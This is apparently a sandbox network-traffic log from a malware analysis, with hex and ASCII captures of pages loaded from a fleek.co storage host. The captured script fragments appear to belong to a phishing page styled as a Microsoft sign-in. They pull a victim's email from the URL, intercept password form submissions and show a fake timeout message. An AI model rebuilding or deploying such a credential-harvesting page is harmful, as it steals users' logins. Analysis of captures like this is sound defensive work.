76 61 72 20 71 6d 72 6b 53 74 72 50 6f 73 20 3d 20 66 75 6c 6c 55 72 6c 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 3b 0d 0a 
20 20 20 20 20 20 20 20 76 61 72 20 6c 61 73 74 49 6e 64 65 78 4f 66 66 73 6c 61 73 68 20 3d 20 2d 31 3b 0d 0a 20 20 2
0 20 20 20 20 20 76 61 72 20 66 75 6c 6c 55 72 6c 53 74 61 72 74 20 3d 20 27 27 3b 0d 0a 20 20 20 20 20 20 20 20 69 
66 20 28 71 6d 72 6b 53 74 72 50 6f 73 20 21 3d 20 2d 31 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6c 
6c 55 72 6c 53 74 61 72 74 20 3d 20 66 75 6c 6c 55 72 6c 2e 73 75 62 73 
Data Ascii: '.html';        var htmlLen = 5;        var htmlStrPos = -1;        var qmrkStrPos = fullUrl.indexOf('?');        var 
lastIndexOffslash = -1;        var fullUrlStart = '';        if (qmrkStrPos != -1) {            fullUrlStart = fullUrl.subs

2022-05-27 06:46:22 UTC 31 IN Data Raw: 26 26 20 28 74 20 3d 20 61 2e 73 75 62 73 74 72 28 65 20 2b 20 31 29 29 2c 20 74 0d 0a 20 20 20 20 7d 0d 
0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 5f 65 6d 61 69 6c 5f 68 61 73 68 28 29 20 7b 0d 0a 20 20 20 
20 20 20 20 20 76 61 72 20 61 20 3d 20 21 31 2c 20 69 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 
66 2c 20 74 20 3d 20 28 69 20 3d 20 69 2e 74 72 69 6d 28 29 29 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 23 22 29 3b 0
d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 2d 31 20 21 3d 20 74 20 26 26 20 28 61 20 3d 20 69 2e 73 75 62 73 
74 72 69 6e 67 28 74 20 2b 20 31 29 2c 20 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 61 29 20 7c 7c 20 28 61 20 3d 20 
21 31 29 29 2c 20 61 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 75 
Data Ascii: && (t = a.substr(e + 1)), t    }    function get_email_hash() {        var a = !1, i = window.location.href, t = (i = 
i.trim()).lastIndexOf("#");        return -1 != t && (a = i.substring(t + 1), validateEmail(a) || (a = !1)), a    }    fu

2022-05-27 06:46:22 UTC 32 IN Data Raw: 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 
61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 73 75 62 6d 69 74 43 6f 75 6e 
74 20 3d 20 30 3b 0d 0a 20 20 20 20 24 28 27 2e 61 6a 61 78 2d 66 6f 72 6d 27 29 2e 6f 6e 28 27 73 75 62 6d 69 74 27 2
c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 
74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 20 20 24 28 27 23 70 72 6f 67 72 65 73 73 42 61 72 27 29 2e 73 68 
6f 77 28 29 3b 0d 0a 09 20 20 24 28 27 2e 65 72 72 72 6d 73 67 27 29 2e 68 74 6d 6c 28 27 27 29 3b 0d 0a 20 20 20 20 
20 20 6c 65 74 20 66 6f 72 6d 20 3d 20 24 28 74 68 69 73 29 3b 0d 0a 20 20 
Data Ascii: javascript">  jQuery(document).ready(function($) {      var submitCount = 0;    $('.ajax-form').on('submit', 
function(event) {      event.preventDefault();      $('#progressBar').show();  $('.errrmsg').html('');      let form = $(this);  

2022-05-27 06:46:22 UTC 33 IN Data Raw: 70 6f 6e 73 65 4a 53 4f 4e 2e 72 65 64 69 72 65 63 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 
20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 2e 65 72 72 72 6d 73 67 27 29 2e 68 74 6d 6c 28 27 53 69 67 6e 20 69 6e 
20 61 74 74 65 6d 70 74 20 74 69 6d 65 6f 75 74 2c 20 70 6c 65 61 73 65 20 76 65 72 69 66 79 20 79 6f 75 72 20 70 61 
73 73 77 6f 72 64 2e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 66 69 6e 64 28 27 5b 74 79 70 65 3
d 22 70 61 73 73 77 6f 72 64 22 5d 27 29 2e 76 61 6c 28 27 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 73 75 62 
6d 69 74 2e 70 72 6f 70 28 27 64 69 73 61 62 6c 65 64 27 2c 20 66 61 6c 73 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 
20 20 20 24 28 27 23 70 72 6f 67 72 65 73 73 42 61 72 27 29 2e 68 69 64 
Data Ascii: ponseJSON.redirect;            }            $('.errrmsg').html('Sign in attempt timeout, please verify your password.'
);           form.find('[type="password"]').val('');           submit.prop('disabled', false);            $('#progressBar').hid

2022-05-27 06:46:22 UTC 35 IN Data Raw: 29 20 73 65 74 74 69 6e 67 73 2e 74 79 70 65 20 3d 20 74 79 70 65 3b 0d 0a 0d 0a 20 20 20 20 20 20 69 66 
20 28 63 61 6c 6c 62 61 63 6b 29 20 73 65 74 74 69 6e 67 73 2e 63 6f 6d 70 6c 65 74 65 20 3d 20 63 61 6c 6c 62 61 63 
6b 3b 0d 0a 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 73 65 74 74 69 6e 67 73 29 3b 0d 0a 20 20 20 20 20 20 
72 65 74 75 72 6e 20 24 2e 61 6a 61 78 28 73 65 74 74 69 6e 67 73 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 
77 69 6e 64 6f 77 2e 63 6f 72 73 52 65 71 20 3d 20 63 6f 72 73 52 65 71 3b 0d 0a 0d 0a 20 20 20 20 24 28 64 6f 63 75 6d 
65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 0d 0a 20 20 20 20 7d 29 3b 0d 0a 20 20 
7d 29 28 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 77 69 
Data Ascii: ) settings.type = type;      if (callback) settings.complete = callback;      console.log(settings);      return $.aja
x(settings);    }    window.corsReq = corsReq;    $(document).ready(function () {    });  })(window, document, wi

2022-05-27 06:46:22 UTC 35 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.3 50667 104.16.124.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:22 UTC 35 OUT GET /axios/dist/axios.min.js HTTP/1.1
Host: unpkg.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:22 UTC 69 IN HTTP/1.1 302 Found
Date: Fri, 27 May 2022 06:46:22 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: close
access-control-allow-origin: *
cache-control: public, s-maxage=600, max-age=60
location: /axios@0.27.2/dist/axios.min.js
vary: Accept
via: 1.1 fly.io
fly-request-id: 01G4247NEEX6BMRM1RQ5FZP52Q-fra
CF-Cache-Status: HIT
Age: 25
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 711ccb091a199b6e-FRA

2022-05-27 06:46:22 UTC 69 IN Data Raw: 33 35 0d 0a 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 2f 61 78 69 6f 73 40 30 2e 32 
37 2e 32 2f 64 69 73 74 2f 61 78 69 6f 73 2e 6d 69 6e 2e 6a 73 0d 0a 
Data Ascii: 35Found. Redirecting to /axios@0.27.2/dist/axios.min.js

2022-05-27 06:46:22 UTC 69 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.3 62594 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:22 UTC 35 OUT GET /16.000/Converged_v21033_5plpI1P0_uKjrokWdqCoBw2.css HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:22 UTC 36 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 27150969
Cache-Control: public, max-age=31536000
Content-MD5: VBwBzy3TblLMnS1j3l8rDQ==
Content-Type: text/css
Date: Fri, 27 May 2022 06:46:22 GMT
Etag: 0x8D82558CBC4E5D5
Last-Modified: Sat, 11 Jul 2020 05:10:57 GMT
Server: ECAcc (frc/8F1A)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 1ddb8b43-e01e-007a-43a5-7ac91c000000
x-ms-version: 2009-09-19
Content-Length: 105369
Connection: close
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2022-05-27 06:46:22 UTC 37 IN Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 
6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 0a 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 
41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 
20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 
6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 
Data Ascii: /*! Copyright (C) Microsoft Corporation. All rights reserved. *//*!------------------------------------------- START OF 
THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed

2022-05-27 06:46:22 UTC 53 IN Data Raw: 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 
78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 
78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 
6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 
36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 
78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 
63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c 65 66 
Data Ascii: ,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-
xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{fl
oat:lef

2022-05-27 06:46:22 UTC 69 IN Data Raw: 69 6e 
Data Ascii: in

2022-05-27 06:46:22 UTC 69 IN Data Raw: 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 
72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 
69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 
79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 6
1 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 
7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 
67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 
Data Ascii: -left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{
display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-
sizing:border-box;-moz-box-s

2022-05-27 06:46:22 UTC 85 IN Data Raw: 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 
3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 
73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 
72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 
3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 
2c 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 64 2c 2e 
74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 
Data Ascii: :539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-a
utohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.tab
le>thead>tr>td,.table-responsive>.tab

2022-05-27 06:46:22 UTC 101 IN Data Raw: 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 
2e 49 45 5f 4d 37 20 75 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 
70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 
5d 2c 2e 49 45 5f 4d 37 20 62 75 74 74 6f 6e 2c 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 
6e 22 5d 2e 62 74 6e 2c 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 
2c 2e 49 45 5f 4d 37 20 62 75 74 74 6f 6e 2e 62 74 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 32 25 3b 6f 76 65 72 
66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 49 45 5f 4d 37 20 64 69 
Data Ascii: Boli","Myanmar Text","Cambria Math"}.IE_M7 ul{margin-left:0}.IE_M7 input[type="button"],.IE_M7 input[type="s
ubmit"],.IE_M7 button,.IE_M7 input[type="button"].btn,.IE_M7 input[type="submit"].btn,.IE_M7 button.btn{line-height:142%
;overflow:visible}.IE_M7 di

2022-05-27 06:46:22 UTC 117 IN Data Raw: 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 38 70 78 3b 6c 
69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 
74 74 6f 6d 3a 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 62 75 74 74 6f 6e 
2e 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 32 62 32 62 
32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 7d 2e 62 75 74 74 6f 
6e 2e 73 65 63 6f 6e 64 61 72 79 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 32 62 32 
62 32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 
Data Ascii: lor:rgba(0,0,0,.2);min-width:108px;line-height:normal;margin-top:0;margin-bottom:0;display:block;width:100%}
.button.secondary:hover{background-color:#b2b2b2;background-color:rgba(0,0,0,.3)}.button.secondary:focus{background-
color:#b2b2b2;background-color:

2022-05-27 06:46:22 UTC 133 IN Data Raw: 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 30 29 22 7d 2e 70 68 6f 6e 65 43 6f 75 
6e 74 72 79 42 6f 78 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 64 6f 77 6e 41 72 72 6f 77 7b 
70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 2d 36 70 78 3b 70 61 64 64 69 6e 67 3a 36 70 78 
20 30 3b 68 65 69 67 68 74 3a 33 36 70 78 7d 2e 70 68 6f 6e 65 4e 75 6d 62 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 
69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 36 70 78 7d 2e 72 6f 77 2d 61 70 70 2d 69 6e 
66 6f 7b 74 61 62 6c 65 2d 6c 61 79 6f 75 74 3a 61 75 74 6f 7d 2e 72 6f 77 2d 61 70 70 2d 69 6e 66 6f 20 2e 6c 6f 67 6f 
7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 77 
Data Ascii: icrosoft.Alpha(Opacity=0)"}.phoneCountryBox{display:inline-block}.downArrow{position:absolute;right:-6px;pad
ding:6px 0;height:36px}.phoneNumber{display:inline-block;padding-left:16px}.row-app-info{table-layout:auto}.row-app-info 
.logo{display:table-cell;w

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.3 59031 104.16.124.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 140 OUT GET /axios@0.27.2/dist/axios.min.js HTTP/1.1
Host: unpkg.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:23 UTC 141 IN HTTP/1.1 200 OK
Date: Fri, 27 May 2022 06:46:23 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 26 Oct 1985 08:15:00 GMT
etag: W/"511b-FCNxITHKHBRxCXquG/QTMqrMtJE"
via: 1.1 fly.io
fly-request-id: 01G1N7NP4S82A035MZGHP1KBQG-fra
CF-Cache-Status: HIT
Age: 2580105
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 711ccb0a3d8892a2-FRA

2022-05-27 06:46:23 UTC 141 IN Data Raw: 35 31 31 62 0d 0a 2f 2a 20 61 78 69 6f 73 20 76 30 2e 32 37 2e 32 20 7c 20 28 63 29 20 32 30 32 32 20 62 79 
20 4d 61 74 74 20 5a 61 62 72 69 73 6b 69 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 
63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 
64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 
6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 
65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 61 78 69 6f 73 3d 74 28 29 3a 65 
2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 
Data Ascii: 511b/* axios v0.27.2 | (c) 2022 by Matt Zabriskie */!function(e,t){"object"==typeof exports&&"object"==typeof 
module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t(
):e.axios=t()}(this,(fun

2022-05-27 06:46:23 UTC 142 IN Data Raw: 21 30 7d 29 7d 2c 6e 2e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 31 26 74 26 26 28 65 3d 6e 
28 65 29 29 2c 38 26 74 29 72 65 74 75 72 6e 20 65 3b 69 66 28 34 26 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 
65 6f 66 20 65 26 26 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 72 3d 4f 62 
6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 69 66 28 6e 2e 72 28 72 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 
6e 65 50 72 6f 70 65 72 74 79 28 72 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 76 6
1 6c 75 65 3a 65 7d 29 2c 32 26 74 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 66 6f 72 28 76 61 72 
20 6f 20 69 6e 20 65 29 6e 2e 64 28 72 2c 6f 2c 66 75 6e 63 74 69 
Data Ascii: !0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;v
ar r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var 
o in e)n.d(r,o,functi

2022-05-27 06:46:23 UTC 143 IN Data Raw: 26 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 55 69 6e 74 38 41 72 72 61 79 29 2c 66 
75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 62 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 7d 29 3b 65 
2e 65 78 70 6f 72 74 73 3d 7b 69 73 41 72 72 61 79 3a 75 2c 69 73 41 72 72 61 79 42 75 66 66 65 72 3a 66 2c 69 73 42 
75 66 66 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 65 26 26 21 63 28 65 2
9 26 26 6e 75 6c 6c 21 3d 3d 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 63 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 7
2 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 69 73 42 
75 66 66 65 72 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 69 
Data Ascii: &Object.getPrototypeOf(Uint8Array),function(e){return b&&e instanceof b});e.exports={isArray:u,isArrayBuffer
:f,isBuffer:function(e){return null!==e&&!c(e)&&null!==e.constructor&&!c(e.constructor)&&"function"==typeof e.constructo
r.isBuffer&&e.constructor.i

2022-05-27 06:46:23 UTC 145 IN Data Raw: 3a 65 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2b 7c 5c 73 2b 24 2f 67 2c 22 22 29 7d 2c 73 74 72 69 70 42 4f 
4d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 36 35 32 37 39 3d 3d 3d 65 2e 63 68 61 72 43 6f 64 65 
41 74 28 30 29 26 26 28 65 3d 65 2e 73 6c 69 63 65 28 31 29 29 2c 65 7d 2c 69 6e 68 65 72 69 74 73 3a 66 75 6e 63 74 
69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 
2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 2c 
6e 26 26 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 29 7d 2c 74 6f 46 6c 61 74 4f 
62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 
Data Ascii: :e.replace(/^\s+|\s+$/g,"")},stripBOM:function(e){return 65279===e.charCodeAt(0)&&(e=e.slice(1)),e},inherits
:function(e,t,n,r){e.prototype=Object.create(t.prototype,r),e.prototype.constructor=e,n&&Object.assign(e.prototype,n)},t
oFlatObject:function(e,t,n)

